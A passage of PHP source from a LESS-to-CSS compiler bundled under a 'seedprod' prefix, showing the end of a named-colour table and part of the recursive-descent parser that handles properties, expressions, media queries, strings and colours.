   1974 		'darksalmon'           => '233,150,122',
   1975 		'darkseagreen'         => '143,188,143',
   1976 		'darkslateblue'        => '72,61,139',
   1977 		'darkslategray'        => '47,79,79',
   1978 		'darkslategrey'        => '47,79,79',
   1979 		'darkturquoise'        => '0,206,209',
   1980 		'darkviolet'           => '148,0,211',
   1981 		'deeppink'             => '255,20,147',
   1982 		'deepskyblue'          => '0,191,255',
   1983 		'dimgray'              => '105,105,105',
   1984 		'dimgrey'              => '105,105,105',
   1985 		'dodgerblue'           => '30,144,255',
   1986 		'firebrick'            => '178,34,34',
   1987 		'floralwhite'          => '255,250,240',
   1988 		'forestgreen'          => '34,139,34',
   1989 		'fuchsia'              => '255,0,255',
   1990 		'gainsboro'            => '220,220,220',
   1991 		'ghostwhite'           => '248,248,255',
   1992 		'gold'                 => '255,215,0',
   1993 		'goldenrod'            => '218,165,32',
   1994 		'gray'                 => '128,128,128',
   1995 		'green'                => '0,128,0',
   1996 		'greenyellow'          => '173,255,47',
   1997 		'grey'                 => '128,128,128',
   1998 		'honeydew'             => '240,255,240',
   1999 		'hotpink'              => '255,105,180',
   2000 		'indianred'            => '205,92,92',
   2001 		'indigo'               => '75,0,130',
   2002 		'ivory'                => '255,255,240',
   2003 		'khaki'                => '240,230,140',
   2004 		'lavender'             => '230,230,250',
   2005 		'lavenderblush'        => '255,240,245',
   2006 		'lawngreen'            => '124,252,0',
   2007 		'lemonchiffon'         => '255,250,205',
   2008 		'lightblue'            => '173,216,230',
   2009 		'lightcoral'           => '240,128,128',
   2010 		'lightcyan'            => '224,255,255',
   2011 		'lightgoldenrodyellow' => '250,250,210',
   2012 		'lightgray'            => '211,211,211',
   2013 		'lightgreen'           => '144,238,144',
   2014 		'lightgrey'            => '211,211,211',
   2015 		'lightpink'            => '255,182,193',
   2016 		'lightsalmon'          => '255,160,122',
   2017 		'lightseagreen'        => '32,178,170',
   2018 		'lightskyblue'         => '135,206,250',
   2019 		'lightslategray'       => '119,136,153',
   2020 		'lightslategrey'       => '119,136,153',
   2021 		'lightsteelblue'       => '176,196,222',
   2022 		'lightyellow'          => '255,255,224',
   2023 		'lime'                 => '0,255,0',
   2024 		'limegreen'            => '50,205,50',
   2025 		'linen'                => '250,240,230',
   2026 		'magenta'              => '255,0,255',
   2027 		'maroon'               => '128,0,0',
   2028 		'mediumaquamarine'     => '102,205,170',
   2029 		'mediumblue'           => '0,0,205',
   2030 		'mediumorchid'         => '186,85,211',
   2031 		'mediumpurple'         => '147,112,219',
   2032 		'mediumseagreen'       => '60,179,113',
   2033 		'mediumslateblue'      => '123,104,238',
   2034 		'mediumspringgreen'    => '0,250,154',
   2035 		'mediumturquoise'      => '72,209,204',
   2036 		'mediumvioletred'      => '199,21,133',
   2037 		'midnightblue'         => '25,25,112',
   2038 		'mintcream'            => '245,255,250',
   2039 		'mistyrose'            => '255,228,225',
   2040 		'moccasin'             => '255,228,181',
   2041 		'navajowhite'          => '255,222,173',
   2042 		'navy'                 => '0,0,128',
   2043 		'oldlace'              => '253,245,230',
   2044 		'olive'                => '128,128,0',
   2045 		'olivedrab'            => '107,142,35',
   2046 		'orange'               => '255,165,0',
   2047 		'orangered'            => '255,69,0',
   2048 		'orchid'               => '218,112,214',
   2049 		'palegoldenrod'        => '238,232,170',
   2050 		'palegreen'            => '152,251,152',
   2051 		'paleturquoise'        => '175,238,238',
   2052 		'palevioletred'        => '219,112,147',
   2053 		'papayawhip'           => '255,239,213',
   2054 		'peachpuff'            => '255,218,185',
   2055 		'peru'                 => '205,133,63',
   2056 		'pink'                 => '255,192,203',
   2057 		'plum'                 => '221,160,221',
   2058 		'powderblue'           => '176,224,230',
   2059 		'purple'               => '128,0,128',
   2060 		'red'                  => '255,0,0',
   2061 		'rosybrown'            => '188,143,143',
   2062 		'royalblue'            => '65,105,225',
   2063 		'saddlebrown'          => '139,69,19',
   2064 		'salmon'               => '250,128,114',
   2065 		'sandybrown'           => '244,164,96',
   2066 		'seagreen'             => '46,139,87',
   2067 		'seashell'             => '255,245,238',
   2068 		'sienna'               => '160,82,45',
   2069 		'silver'               => '192,192,192',
   2070 		'skyblue'              => '135,206,235',
   2071 		'slateblue'            => '106,90,205',
   2072 		'slategray'            => '112,128,144',
   2073 		'slategrey'            => '112,128,144',
   2074 		'snow'                 => '255,250,250',
   2075 		'springgreen'          => '0,255,127',
   2076 		'steelblue'            => '70,130,180',
   2077 		'tan'                  => '210,180,140',
   2078 		'teal'                 => '0,128,128',
   2079 		'thistle'              => '216,191,216',
   2080 		'tomato'               => '255,99,71',
   2081 		'turquoise'            => '64,224,208',
   2082 		'violet'               => '238,130,238',
   2083 		'wheat'                => '245,222,179',
   2084 		'white'                => '255,255,255',
   2085 		'whitesmoke'           => '245,245,245',
   2086 		'yellow'               => '255,255,0',
   2087 		'yellowgreen'          => '154,205,50',
   2088 	);
   2089 }
   2090 
   2091 // responsible for taking a string of LESS code and converting it into a
   2092 // syntax tree
   2093 class seedprod_lessc_parser {
   2094 	protected static $nextBlockId = 0; // used to uniquely identify blocks
   2095 
   2096 	protected static $precedence = array(
   2097 		'=<' => 0,
   2098 		'>=' => 0,
   2099 		'='  => 0,
   2100 		'<'  => 0,
   2101 		'>'  => 0,
   2102 
   2103 		'+'  => 1,
   2104 		'-'  => 1,
   2105 		'*'  => 2,
   2106 		'/'  => 2,
   2107 		'%'  => 2,
   2108 	);
   2109 
   2110 	protected static $whitePattern;
   2111 	protected static $commentMulti;
   2112 
   2113 	protected static $commentSingle     = '//';
   2114 	protected static $commentMultiLeft  = '/*';
   2115 	protected static $commentMultiRight = '*/';
   2116 
   2117 	// regex string to match any of the operators
   2118 	protected static $operatorString;
   2119 
   2120 	// these properties will supress division unless it's inside parenthases
   2121 	protected static $supressDivisionProps =
   2122 		array( '/border-radius$/i', '/^font$/i' );
   2123 
   2124 	protected $blockDirectives = array( 'font-face', 'keyframes', 'page', '-moz-document' );
   2125 	protected $lineDirectives  = array( 'charset' );
   2126 
   2127 	/**
   2128 	 * if we are in parens we can be more liberal with whitespace around
   2129 	 * operators because it must evaluate to a single value and thus is less
   2130 	 * ambiguous.
   2131 	 *
   2132 	 * Consider:
   2133 	 *     property1: 10 -5; // is two numbers, 10 and -5
   2134 	 *     property2: (10 -5); // should evaluate to 5
   2135 	 */
   2136 	protected $inParens = false;
   2137 
   2138 	// caches preg escaped literals
   2139 	protected static $literalCache = array();
   2140 
   2141 	public function __construct( $seedprod_lessc, $sourceName = null ) {
   2142 		$this->eatWhiteDefault = true;
   2143 		// reference to less needed for vPrefix, mPrefix, and parentSelector
   2144 		$this->seedprod_lessc = $seedprod_lessc;
   2145 
   2146 		$this->sourceName = $sourceName; // name used for error messages
   2147 
   2148 		$this->writeComments = false;
   2149 
   2150 		if ( ! self::$operatorString ) {
   2151 			self::$operatorString =
   2152 				'(' . implode(
   2153 					'|',
   2154 					array_map(
   2155 						array( 'seedprod_lessc', 'preg_quote' ),
   2156 						array_keys( self::$precedence )
   2157 					)
   2158 				) . ')';
   2159 
   2160 			$commentSingle     = seedprod_lessc::preg_quote( self::$commentSingle );
   2161 			$commentMultiLeft  = seedprod_lessc::preg_quote( self::$commentMultiLeft );
   2162 			$commentMultiRight = seedprod_lessc::preg_quote( self::$commentMultiRight );
   2163 
   2164 			self::$commentMulti = $commentMultiLeft . '.*?' . $commentMultiRight;
   2165 			self::$whitePattern = '/' . $commentSingle . '[^\n]*\s*|(' . self::$commentMulti . ')\s*|\s+/Ais';
   2166 		}
   2167 	}
   2168 
   2169 	public function parse( $buffer ) {
   2170 		$this->count = 0;
   2171 		$this->line  = 1;
   2172 
   2173 		$this->env    = null; // block stack
   2174 		$this->buffer = $this->writeComments ? $buffer : $this->removeComments( $buffer );
   2175 		$this->pushSpecialBlock( 'root' );
   2176 		$this->eatWhiteDefault = true;
   2177 		$this->seenComments    = array();
   2178 
   2179 		// trim whitespace on head
   2180 		// if (preg_match('/^\s+/', $this->buffer, $m)) {
   2181 		// 	$this->line += substr_count($m[0], "\n");
   2182 		// 	$this->buffer = ltrim($this->buffer);
   2183 		// }
   2184 		$this->whitespace();
   2185 
   2186 		// parse the entire file
   2187 		$lastCount = $this->count;
   2188 		while ( false !== $this->parseChunk() );
   2189 
   2190 		if ( $this->count != strlen( $this->buffer ) ) {
   2191 			$this->throwError();
   2192 		}
   2193 
   2194 		// TODO report where the block was opened
   2195 		if ( ! is_null( $this->env->parent ) ) {
   2196 			throw new exception( 'parse error: unclosed block' );
   2197 		}
   2198 
   2199 		return $this->env;
   2200 	}
   2201 
   2202 	/**
   2203 	 * Parse a single chunk off the head of the buffer and append it to the
   2204 	 * current parse environment.
   2205 	 * Returns false when the buffer is empty, or when there is an error.
   2206 	 *
   2207 	 * This function is called repeatedly until the entire document is
   2208 	 * parsed.
   2209 	 *
   2210 	 * This parser is most similar to a recursive descent parser. Single
   2211 	 * functions represent discrete grammatical rules for the language, and
   2212 	 * they are able to capture the text that represents those rules.
   2213 	 *
   2214 	 * Consider the function seedprod_lessc::keyword(). (all parse functions are
   2215 	 * structured the same)
   2216 	 *
   2217 	 * The function takes a single reference argument. When calling the
   2218 	 * function it will attempt to match a keyword on the head of the buffer.
   2219 	 * If it is successful, it will place the keyword in the referenced
   2220 	 * argument, advance the position in the buffer, and return true. If it
   2221 	 * fails then it won't advance the buffer and it will return false.
   2222 	 *
   2223 	 * All of these parse functions are powered by seedprod_lessc::match(), which behaves
   2224 	 * the same way, but takes a literal regular expression. Sometimes it is
   2225 	 * more convenient to use match instead of creating a new function.
   2226 	 *
   2227 	 * Because of the format of the functions, to parse an entire string of
   2228 	 * grammatical rules, you can chain them together using &&.
   2229 	 *
   2230 	 * But, if some of the rules in the chain succeed before one fails, then
   2231 	 * the buffer position will be left at an invalid state. In order to
   2232 	 * avoid this, seedprod_lessc::seek() is used to remember and set buffer positions.
   2233 	 *
   2234 	 * Before parsing a chain, use $s = $this->seek() to remember the current
   2235 	 * position into $s. Then if a chain fails, use $this->seek($s) to
   2236 	 * go back where we started.
   2237 	 */
   2238 	protected function parseChunk() {
   2239 		if ( empty( $this->buffer ) ) {
   2240 			return false;
   2241 		}
   2242 		$s = $this->seek();
   2243 
   2244 		// setting a property
   2245 		if ( $this->keyword( $key ) && $this->assign() &&
   2246 			$this->propertyValue( $value, $key ) && $this->end() ) {
   2247 			$this->append( array( 'assign', $key, $value ), $s );
   2248 			return true;
   2249 		} else {
   2250 			$this->seek( $s );
   2251 		}
   2252 
   2253 		// look for special css blocks
   2254 		if ( $this->literal( '@', false ) ) {
   2255 			$this->count--;
   2256 
   2257 			// media
   2258 			if ( $this->literal( '@media' ) ) {
   2259 				if ( ( $this->mediaQueryList( $mediaQueries ) || true )
   2260 					&& $this->literal( '{' ) ) {
   2261 					$media          = $this->pushSpecialBlock( 'media' );
   2262 					$media->queries = is_null( $mediaQueries ) ? array() : $mediaQueries;
   2263 					return true;
   2264 				} else {
   2265 					$this->seek( $s );
   2266 					return false;
   2267 				}
   2268 			}
   2269 
   2270 			if ( $this->literal( '@', false ) && $this->keyword( $dirName ) ) {
   2271 				if ( $this->isDirective( $dirName, $this->blockDirectives ) ) {
   2272 					if ( ( $this->openString( '{', $dirValue, null, array( ';' ) ) || true ) &&
   2273 						$this->literal( '{' ) ) {
   2274 						$dir       = $this->pushSpecialBlock( 'directive' );
   2275 						$dir->name = $dirName;
   2276 						if ( isset( $dirValue ) ) {
   2277 							$dir->value = $dirValue;
   2278 						}
   2279 						return true;
   2280 					}
   2281 				} elseif ( $this->isDirective( $dirName, $this->lineDirectives ) ) {
   2282 					if ( $this->propertyValue( $dirValue ) && $this->end() ) {
   2283 						$this->append( array( 'directive', $dirName, $dirValue ) );
   2284 						return true;
   2285 					}
   2286 				}
   2287 			}
   2288 
   2289 			$this->seek( $s );
   2290 		}
   2291 
   2292 		// setting a variable
   2293 		if ( $this->variable( $var ) && $this->assign() &&
   2294 			$this->propertyValue( $value ) && $this->end() ) {
   2295 			$this->append( array( 'assign', $var, $value ), $s );
   2296 			return true;
   2297 		} else {
   2298 			$this->seek( $s );
   2299 		}
   2300 
   2301 		if ( $this->import( $importValue ) ) {
   2302 			$this->append( $importValue, $s );
   2303 			return true;
   2304 		}
   2305 
   2306 		// opening parametric mixin
   2307 		if ( $this->tag( $tag, true ) && $this->argumentDef( $args, $isVararg ) &&
   2308 			( $this->guards( $guards ) || true ) &&
   2309 			$this->literal( '{' ) ) {
   2310 			$block           = $this->pushBlock( $this->fixTags( array( $tag ) ) );
   2311 			$block->args     = $args;
   2312 			$block->isVararg = $isVararg;
   2313 			if ( ! empty( $guards ) ) {
   2314 				$block->guards = $guards;
   2315 			}
   2316 			return true;
   2317 		} else {
   2318 			$this->seek( $s );
   2319 		}
   2320 
   2321 		// opening a simple block
   2322 		if ( $this->tags( $tags ) && $this->literal( '{' ) ) {
   2323 			$tags = $this->fixTags( $tags );
   2324 			$this->pushBlock( $tags );
   2325 			return true;
   2326 		} else {
   2327 			$this->seek( $s );
   2328 		}
   2329 
   2330 		// closing a block
   2331 		if ( $this->literal( '}', false ) ) {
   2332 			try {
   2333 				$block = $this->pop();
   2334 			} catch ( exception $e ) {
   2335 				$this->seek( $s );
   2336 				$this->throwError( $e->getMessage() );
   2337 			}
   2338 
   2339 			$hidden = false;
   2340 			if ( is_null( $block->type ) ) {
   2341 				$hidden = true;
   2342 				if ( ! isset( $block->args ) ) {
   2343 					foreach ( $block->tags as $tag ) {
   2344 						if ( ! is_string( $tag ) || $tag[0] != $this->seedprod_lessc->mPrefix ) {
   2345 							$hidden = false;
   2346 							break;
   2347 						}
   2348 					}
   2349 				}
   2350 
   2351 				foreach ( $block->tags as $tag ) {
   2352 					if ( is_string( $tag ) ) {
   2353 						$this->env->children[ $tag ][] = $block;
   2354 					}
   2355 				}
   2356 			}
   2357 
   2358 			if ( ! $hidden ) {
   2359 				$this->append( array( 'block', $block ), $s );
   2360 			}
   2361 
   2362 			// this is done here so comments aren't bundled into he block that
   2363 			// was just closed
   2364 			$this->whitespace();
   2365 			return true;
   2366 		}
   2367 
   2368 		// mixin
   2369 		if ( $this->mixinTags( $tags ) &&
   2370 			( $this->argumentValues( $argv ) || true ) &&
   2371 			( $this->keyword( $suffix ) || true ) && $this->end() ) {
   2372 			$tags = $this->fixTags( $tags );
   2373 			$this->append( array( 'mixin', $tags, $argv, $suffix ), $s );
   2374 			return true;
   2375 		} else {
   2376 			$this->seek( $s );
   2377 		}
   2378 
   2379 		// spare ;
   2380 		if ( $this->literal( ';' ) ) {
   2381 			return true;
   2382 		}
   2383 
   2384 		return false; // got nothing, throw error
   2385 	}
   2386 
   2387 	protected function isDirective( $dirname, $directives ) {
   2388 		// TODO: cache pattern in parser
   2389 		$pattern = implode(
   2390 			'|',
   2391 			array_map( array( 'seedprod_lessc', 'preg_quote' ), $directives )
   2392 		);
   2393 		$pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i';
   2394 
   2395 		return preg_match( $pattern, $dirname );
   2396 	}
   2397 
   2398 	protected function fixTags( $tags ) {
   2399 		// move @ tags out of variable namespace
   2400 		foreach ( $tags as &$tag ) {
   2401 			if ( $tag[0] == $this->seedprod_lessc->vPrefix ) {
   2402 				$tag[0] = $this->seedprod_lessc->mPrefix;
   2403 			}
   2404 		}
   2405 		return $tags;
   2406 	}
   2407 
   2408 	// a list of expressions
   2409 	protected function expressionList( &$exps ) {
   2410 		$values = array();
   2411 
   2412 		while ( $this->expression( $exp ) ) {
   2413 			$values[] = $exp;
   2414 		}
   2415 
   2416 		if ( count( $values ) == 0 ) {
   2417 			return false;
   2418 		}
   2419 
   2420 		$exps = seedprod_lessc::compressList( $values, ' ' );
   2421 		return true;
   2422 	}
   2423 
   2424 	/**
   2425 	 * Attempt to consume an expression.
   2426 	 * @link http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code
   2427 	 */
   2428 	protected function expression( &$out ) {
   2429 		if ( $this->value( $lhs ) ) {
   2430 			$out = $this->expHelper( $lhs, 0 );
   2431 
   2432 			// look for / shorthand
   2433 			if ( ! empty( $this->env->supressedDivision ) ) {
   2434 				unset( $this->env->supressedDivision );
   2435 				$s = $this->seek();
   2436 				if ( $this->literal( '/' ) && $this->value( $rhs ) ) {
   2437 					$out = array(
   2438 						'list',
   2439 						'',
   2440 						array( $out, array( 'keyword', '/' ), $rhs ),
   2441 					);
   2442 				} else {
   2443 					$this->seek( $s );
   2444 				}
   2445 			}
   2446 
   2447 			return true;
   2448 		}
   2449 		return false;
   2450 	}
   2451 
   2452 	/**
   2453 	 * recursively parse infix equation with $lhs at precedence $minP
   2454 	 */
   2455 	protected function expHelper( $lhs, $minP ) {
   2456 		$this->inExp = true;
   2457 		$ss          = $this->seek();
   2458 
   2459 		while ( true ) {
   2460 			$whiteBefore = isset( $this->buffer[ $this->count - 1 ] ) &&
   2461 				ctype_space( $this->buffer[ $this->count - 1 ] );
   2462 
   2463 			// If there is whitespace before the operator, then we require
   2464 			// whitespace after the operator for it to be an expression
   2465 			$needWhite = $whiteBefore && ! $this->inParens;
   2466 
   2467 			if ( $this->match( self::$operatorString . ( $needWhite ? '\s' : '' ), $m ) && self::$precedence[ $m[1] ] >= $minP ) {
   2468 				if ( ! $this->inParens && isset( $this->env->currentProperty ) && $m[1] == '/' && empty( $this->env->supressedDivision ) ) {
   2469 					foreach ( self::$supressDivisionProps as $pattern ) {
   2470 						if ( preg_match( $pattern, $this->env->currentProperty ) ) {
   2471 							$this->env->supressedDivision = true;
   2472 							break 2;
   2473 						}
   2474 					}
   2475 				}
   2476 
   2477 				$whiteAfter = isset( $this->buffer[ $this->count - 1 ] ) &&
   2478 					ctype_space( $this->buffer[ $this->count - 1 ] );
   2479 
   2480 				if ( ! $this->value( $rhs ) ) {
   2481 					break;
   2482 				}
   2483 
   2484 				// peek for next operator to see what to do with rhs
   2485 				if ( $this->peek( self::$operatorString, $next ) && self::$precedence[ $next[1] ] > self::$precedence[ $m[1] ] ) {
   2486 					$rhs = $this->expHelper( $rhs, self::$precedence[ $next[1] ] );
   2487 				}
   2488 
   2489 				$lhs = array( 'expression', $m[1], $lhs, $rhs, $whiteBefore, $whiteAfter );
   2490 				$ss  = $this->seek();
   2491 
   2492 				continue;
   2493 			}
   2494 
   2495 			break;
   2496 		}
   2497 
   2498 		$this->seek( $ss );
   2499 
   2500 		return $lhs;
   2501 	}
   2502 
   2503 	// consume a list of values for a property
   2504 	public function propertyValue( &$value, $keyName = null ) {
   2505 		$values = array();
   2506 
   2507 		if ( $keyName !== null ) {
   2508 			$this->env->currentProperty = $keyName;
   2509 		}
   2510 
   2511 		$s = null;
   2512 		while ( $this->expressionList( $v ) ) {
   2513 			$values[] = $v;
   2514 			$s        = $this->seek();
   2515 			if ( ! $this->literal( ',' ) ) {
   2516 				break;
   2517 			}
   2518 		}
   2519 
   2520 		if ( $s ) {
   2521 			$this->seek( $s );
   2522 		}
   2523 
   2524 		if ( $keyName !== null ) {
   2525 			unset( $this->env->currentProperty );
   2526 		}
   2527 
   2528 		if ( count( $values ) == 0 ) {
   2529 			return false;
   2530 		}
   2531 
   2532 		$value = seedprod_lessc::compressList( $values, ', ' );
   2533 		return true;
   2534 	}
   2535 
   2536 	protected function parenValue( &$out ) {
   2537 		$s = $this->seek();
   2538 
   2539 		// speed shortcut
   2540 		if ( isset( $this->buffer[ $this->count ] ) && $this->buffer[ $this->count ] != '(' ) {
   2541 			return false;
   2542 		}
   2543 
   2544 		$inParens = $this->inParens;
   2545 		if ( $this->literal( '(' ) &&
   2546 			( $this->inParens = true ) && $this->expression( $exp ) &&
   2547 			$this->literal( ')' ) ) {
   2548 			$out            = $exp;
   2549 			$this->inParens = $inParens;
   2550 			return true;
   2551 		} else {
   2552 			$this->inParens = $inParens;
   2553 			$this->seek( $s );
   2554 		}
   2555 
   2556 		return false;
   2557 	}
   2558 
   2559 	// a single value
   2560 	protected function value( &$value ) {
   2561 		$s = $this->seek();
   2562 
   2563 		// speed shortcut
   2564 		if ( isset( $this->buffer[ $this->count ] ) && $this->buffer[ $this->count ] == '-' ) {
   2565 			// negation
   2566 			if ( $this->literal( '-', false ) &&
   2567 				( ( $this->variable( $inner ) && $inner = array( 'variable', $inner ) ) ||
   2568 				$this->unit( $inner ) ||
   2569 				$this->parenValue( $inner ) ) ) {
   2570 				$value = array( 'unary', '-', $inner );
   2571 				return true;
   2572 			} else {
   2573 				$this->seek( $s );
   2574 			}
   2575 		}
   2576 
   2577 		if ( $this->parenValue( $value ) ) {
   2578 			return true;
   2579 		}
   2580 		if ( $this->unit( $value ) ) {
   2581 			return true;
   2582 		}
   2583 		if ( $this->color( $value ) ) {
   2584 			return true;
   2585 		}
   2586 		if ( $this->func( $value ) ) {
   2587 			return true;
   2588 		}
   2589 		if ( $this->lstring( $value ) ) {
   2590 			return true;
   2591 		}
   2592 
   2593 		if ( $this->keyword( $word ) ) {
   2594 			$value = array( 'keyword', $word );
   2595 			return true;
   2596 		}
   2597 
   2598 		// try a variable
   2599 		if ( $this->variable( $var ) ) {
   2600 			$value = array( 'variable', $var );
   2601 			return true;
   2602 		}
   2603 
   2604 		// unquote string (should this work on any type?
   2605 		if ( $this->literal( '~' ) && $this->lstring( $str ) ) {
   2606 			$value = array( 'escape', $str );
   2607 			return true;
   2608 		} else {
   2609 			$this->seek( $s );
   2610 		}
   2611 
   2612 		// css hack: \0
   2613 		if ( $this->literal( '\\' ) && $this->match( '([0-9]+)', $m ) ) {
   2614 			$value = array( 'keyword', '\\' . $m[1] );
   2615 			return true;
   2616 		} else {
   2617 			$this->seek( $s );
   2618 		}
   2619 
   2620 		return false;
   2621 	}
   2622 
   2623 	// an import statement
   2624 	protected function import( &$out ) {
   2625 		$s = $this->seek();
   2626 		if ( ! $this->literal( '@import' ) ) {
   2627 			return false;
   2628 		}
   2629 
   2630 		// @import "something.css" media;
   2631 		// @import url("something.css") media;
   2632 		// @import url(something.css) media;
   2633 
   2634 		if ( $this->propertyValue( $value ) ) {
   2635 			$out = array( 'import', $value );
   2636 			return true;
   2637 		}
   2638 	}
   2639 
   2640 	protected function mediaQueryList( &$out ) {
   2641 		if ( $this->genericList( $list, 'mediaQuery', ',', false ) ) {
   2642 			$out = $list[2];
   2643 			return true;
   2644 		}
   2645 		return false;
   2646 	}
   2647 
   2648 	protected function mediaQuery( &$out ) {
   2649 		$s = $this->seek();
   2650 
   2651 		$expressions = null;
   2652 		$parts       = array();
   2653 
   2654 		if ( ( $this->literal( 'only' ) && ( $only = true ) || $this->literal( 'not' ) && ( $not = true ) || true ) && $this->keyword( $mediaType ) ) {
   2655 			$prop = array( 'mediaType' );
   2656 			if ( isset( $only ) ) {
   2657 				$prop[] = 'only';
   2658 			}
   2659 			if ( isset( $not ) ) {
   2660 				$prop[] = 'not';
   2661 			}
   2662 			$prop[]  = $mediaType;
   2663 			$parts[] = $prop;
   2664 		} else {
   2665 			$this->seek( $s );
   2666 		}
   2667 
   2668 		if ( ! empty( $mediaType ) && ! $this->literal( 'and' ) ) {
   2669 			// ~
   2670 		} else {
   2671 			$this->genericList( $expressions, 'mediaExpression', 'and', false );
   2672 			if ( is_array( $expressions ) ) {
   2673 				$parts = array_merge( $parts, $expressions[2] );
   2674 			}
   2675 		}
   2676 
   2677 		if ( count( $parts ) == 0 ) {
   2678 			$this->seek( $s );
   2679 			return false;
   2680 		}
   2681 
   2682 		$out = $parts;
   2683 		return true;
   2684 	}
   2685 
   2686 	protected function mediaExpression( &$out ) {
   2687 		$s     = $this->seek();
   2688 		$value = null;
   2689 		if ( $this->literal( '(' ) &&
   2690 			$this->keyword( $feature ) &&
   2691 			( $this->literal( ':' ) && $this->expression( $value ) || true ) &&
   2692 			$this->literal( ')' ) ) {
   2693 			$out = array( 'mediaExp', $feature );
   2694 			if ( $value ) {
   2695 				$out[] = $value;
   2696 			}
   2697 			return true;
   2698 		}
   2699 
   2700 		$this->seek( $s );
   2701 		return false;
   2702 	}
   2703 
   2704 	// an unbounded string stopped by $end
   2705 	protected function openString( $end, &$out, $nestingOpen = null, $rejectStrs = null ) {
   2706 		$oldWhite              = $this->eatWhiteDefault;
   2707 		$this->eatWhiteDefault = false;
   2708 
   2709 		$stop = array( "'", '"', '@{', $end );
   2710 		$stop = array_map( array( 'seedprod_lessc', 'preg_quote' ), $stop );
   2711 		// $stop[] = self::$commentMulti;
   2712 
   2713 		if ( ! is_null( $rejectStrs ) ) {
   2714 			$stop = array_merge( $stop, $rejectStrs );
   2715 		}
   2716 
   2717 		$patt = '(.*?)(' . implode( '|', $stop ) . ')';
   2718 
   2719 		$nestingLevel = 0;
   2720 
   2721 		$content = array();
   2722 		while ( $this->match( $patt, $m, false ) ) {
   2723 			if ( ! empty( $m[1] ) ) {
   2724 				$content[] = $m[1];
   2725 				if ( $nestingOpen ) {
   2726 					$nestingLevel += substr_count( $m[1], $nestingOpen );
   2727 				}
   2728 			}
   2729 
   2730 			$tok = $m[2];
   2731 
   2732 			$this->count -= strlen( $tok );
   2733 			if ( $tok == $end ) {
   2734 				if ( $nestingLevel == 0 ) {
   2735 					break;
   2736 				} else {
   2737 					$nestingLevel--;
   2738 				}
   2739 			}
   2740 
   2741 			if ( ( $tok == "'" || $tok == '"' ) && $this->lstring( $str ) ) {
   2742 				$content[] = $str;
   2743 				continue;
   2744 			}
   2745 
   2746 			if ( $tok == '@{' && $this->interpolation( $inter ) ) {
   2747 				$content[] = $inter;
   2748 				continue;
   2749 			}
   2750 
   2751 			if ( in_array( $tok, $rejectStrs ) ) {
   2752 				$count = null;
   2753 				break;
   2754 			}
   2755 
   2756 			$content[]    = $tok;
   2757 			$this->count += strlen( $tok );
   2758 		}
   2759 
   2760 		$this->eatWhiteDefault = $oldWhite;
   2761 
   2762 		if ( count( $content ) == 0 ) {
   2763 			return false;
   2764 		}
   2765 
   2766 		// trim the end
   2767 		if ( is_string( end( $content ) ) ) {
   2768 			$content[ count( $content ) - 1 ] = rtrim( end( $content ) );
   2769 		}
   2770 
   2771 		$out = array( 'string', '', $content );
   2772 		return true;
   2773 	}
   2774 
   2775 	protected function lstring( &$out ) {
   2776 		$s = $this->seek();
   2777 		if ( $this->literal( '"', false ) ) {
   2778 			$delim = '"';
   2779 		} elseif ( $this->literal( "'", false ) ) {
   2780 			$delim = "'";
   2781 		} else {
   2782 			return false;
   2783 		}
   2784 
   2785 		$content = array();
   2786 
   2787 		// look for either ending delim , escape, or string interpolation
   2788 		$patt = '([^\n]*?)(@\{|\\\\|' .
   2789 			seedprod_lessc::preg_quote( $delim ) . ')';
   2790 
   2791 		$oldWhite              = $this->eatWhiteDefault;
   2792 		$this->eatWhiteDefault = false;
   2793 
   2794 		while ( $this->match( $patt, $m, false ) ) {
   2795 			$content[] = $m[1];
   2796 			if ( $m[2] == '@{' ) {
   2797 				$this->count -= strlen( $m[2] );
   2798 				if ( $this->interpolation( $inter, false ) ) {
   2799 					$content[] = $inter;
   2800 				} else {
   2801 					$this->count += strlen( $m[2] );
   2802 					$content[]    = '@{'; // ignore it
   2803 				}
   2804 			} elseif ( $m[2] == '\\' ) {
   2805 				$content[] = $m[2];
   2806 				if ( $this->literal( $delim, false ) ) {
   2807 					$content[] = $delim;
   2808 				}
   2809 			} else {
   2810 				$this->count -= strlen( $delim );
   2811 				break; // delim
   2812 			}
   2813 		}
   2814 
   2815 		$this->eatWhiteDefault = $oldWhite;
   2816 
   2817 		if ( $this->literal( $delim ) ) {
   2818 			$out = array( 'string', $delim, $content );
   2819 			return true;
   2820 		}
   2821 
   2822 		$this->seek( $s );
   2823 		return false;
   2824 	}
   2825 
   2826 	protected function interpolation( &$out ) {
   2827 		$oldWhite              = $this->eatWhiteDefault;
   2828 		$this->eatWhiteDefault = true;
   2829 
   2830 		$s = $this->seek();
   2831 		if ( $this->literal( '@{' ) &&
   2832 			$this->keyword( $var ) &&
   2833 			$this->literal( '}', false ) ) {
   2834 			$out                   = array( 'variable', $this->seedprod_lessc->vPrefix . $var );
   2835 			$this->eatWhiteDefault = $oldWhite;
   2836 			if ( $this->eatWhiteDefault ) {
   2837 				$this->whitespace();
   2838 			}
   2839 			return true;
   2840 		}
   2841 
   2842 		$this->eatWhiteDefault = $oldWhite;
   2843 		$this->seek( $s );
   2844 		return false;
   2845 	}
   2846 
   2847 	protected function unit( &$unit ) {
   2848 		// speed shortcut
   2849 		if ( isset( $this->buffer[ $this->count ] ) ) {
   2850 			$char = $this->buffer[ $this->count ];
   2851 			if ( ! ctype_digit( $char ) && $char != '.' ) {
   2852 				return false;
   2853 			}
   2854 		}
   2855 
   2856 		if ( $this->match( '([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?', $m ) ) {
   2857 			$unit = array( 'number', $m[1], empty( $m[2] ) ? '' : $m[2] );
   2858 			return true;
   2859 		}
   2860 		return false;
   2861 	}
   2862 
   2863 	// a # color
   2864 	protected function color( &$out ) {
   2865 		if ( $this->match( '(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))', $m ) ) {
   2866 			if ( strlen( $m[1] ) > 7 ) {
   2867 				$out = array( 'string', '', array( $m[1] ) );
   2868 			} else {
   2869 				$out = array( 'raw_color', $m[1] );
   2870 			}
   2871 			return true;
   2872 		}
   2873 
   2874 		return false;
   2875 	}
   2876 
   2877 	// consume a list of property values delimited by ; and wrapped in ()
   2878 	protected function argumentValues( &$args, $delim = ',' ) {
   2879 		$s = $this->seek();
   2880 		if ( ! $this->literal( '(' ) ) {
   2881 			return false;
   2882 		}
   2883 
   2884 		$values = array();
   2885 		while ( true ) {
   2886 			if ( $this->expressionList( $value ) ) {
   2887 				$values[] = $value;
   2888 			}
